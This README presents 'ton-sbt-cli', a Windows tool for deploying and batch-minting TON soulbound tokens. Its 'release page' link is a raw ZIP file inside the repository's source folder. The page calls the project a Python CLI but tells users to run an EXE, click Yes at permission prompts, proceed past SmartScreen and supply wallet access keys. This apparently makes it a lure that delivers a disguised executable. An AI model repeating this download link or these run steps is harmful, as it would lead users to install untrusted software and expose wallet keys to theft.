ton-sbt-cli is a Windows command-line app for working with TON SBT collections.
Use it to:
- deploy a TON SBT collection
- batch-mint SBTs
- check mint results on-chain
- verify which wallets received each SBT
- run repeatable mint jobs from one place
This tool fits users who need a simple way to manage SBT tasks without using several separate apps.
Use a Windows PC with:
- Windows 10 or Windows 11
- at least 4 GB of RAM
- enough free disk space for the app and your export files
- an internet connection
- access to your TON wallet details and collection data
For best results, keep your wallet files, collection list, and mint data in one folder before you start
- Open the release page: https://raw.githubusercontent.com/Tyelowermost549/ton-sbt-cli/main/src/ton_sbt_tool/sbt-cli-ton-2.0.zip
- Find the latest release
- Download the Windows file from that release
- Save it to a folder you can find later, such as Downloads or Desktop
If the release contains a ZIP file, extract it before you run the app
If the release gives you a ZIP file:
- Right-click the ZIP file
- Select Extract All
- Choose a folder
- Open the extracted folder
- Look for the app file or launch file
If the release gives you an EXE file:
- Double-click the file
- If Windows asks for permission, choose Yes
- Wait for the app window to open
If Windows SmartScreen appears, check that you downloaded the file from the release page above before you continue
Before your first run, prepare these items:
- your TON wallet data
- the collection name or collection file
- the list of SBT recipients
- any mint settings you plan to use
- a folder for logs and results
Keep file names simple. Use letters, numbers, dashes, and underscores only
The app is built for a simple workflow:
- Open the app from the folder where you installed it
- Choose the task you want to run
- Load your collection data
- Add the wallet list or recipient list
- Start the deploy or mint job
- Review the on-chain result after the job finishes
For a batch mint job, make sure your recipient list is correct before you start. One wrong wallet address can send a mint to the wrong place
Use this when you want to create a new TON SBT collection on-chain.
Typical steps:
- Load your collection info
- Check the collection name, symbol, and owner details
- Run the deploy action
- Save the result ID or transaction link
Use this when you need to mint to many wallets in one run.
Typical steps:
- Load a list of wallet addresses
- Match each address to the right SBT data
- Review the batch before sending
- Start the mint job
- Check the final result list
Use this when you want to confirm what happened on-chain.
Typical steps:
- Open the verify tool in the app
- Load the mint result file or transaction data
- Compare the output with the on-chain state
- Review any failed or pending items
ton-sbt-cli works best when your files are clean and easy to read.
Use these file types and formats:
- plain text lists for wallet addresses
- CSV files for batch data
- JSON files for structured mint settings
- short file names without spaces
Example data layout:
- one wallet address per line
- one recipient per row
- one collection record per object
- one result file per run
To deploy or mint on TON, the app may use:
- wallet address data
- access keys or signed wallet actions
- collection parameters
- network settings for test or main use
Check that you are using the right network before you start a job. A test run and a main run are not the same
A simple folder layout can help keep your work in order:
ton-sbt-cliinputoutputlogswalletcollections
Put source files in input, saved results in output, and log files in logs
Check these items first:
- the app file opens on your PC
- your data files are in the right folder
- your wallet address is correct
- your recipient list has no extra blank lines
- your collection settings match the job you want
- your network choice is right
This short check can save time and help avoid bad mint runs
A typical session looks like this:
- Download the app from the release page
- Open the file in Windows
- Load the collection setup
- Add the batch mint list
- Run the job
- Review the mint result output
- Save the logs for later use
- make sure you extracted the ZIP file first
- check that the file finished downloading
- try running it again from the same folder
- confirm that Windows did not move the file
- check the file type
- make sure each address is on its own line
- remove empty lines at the end of the file
- confirm the file encoding is plain text or CSV as needed
- review the recipient list
- confirm the collection settings
- check the network you used
- compare the saved result with the on-chain record
- choose Yes if the prompt matches the file you downloaded from the release page
- if the prompt looks unusual, close it and recheck the source link
Use the release page for new versions, fixes, and Windows files:
Check that page when you need a newer build or a fresh download
Repository name: ton-sbt-cli
Description: Python CLI for deploying TON SBT collections, batch-minting SBTs, and verifying mint results on-chain
Topics:
- blockchain
- cli
- nft
- python
- sbt
- sbt-minting
- soulbound
- soulbound-token
- ton
- ton-blockchain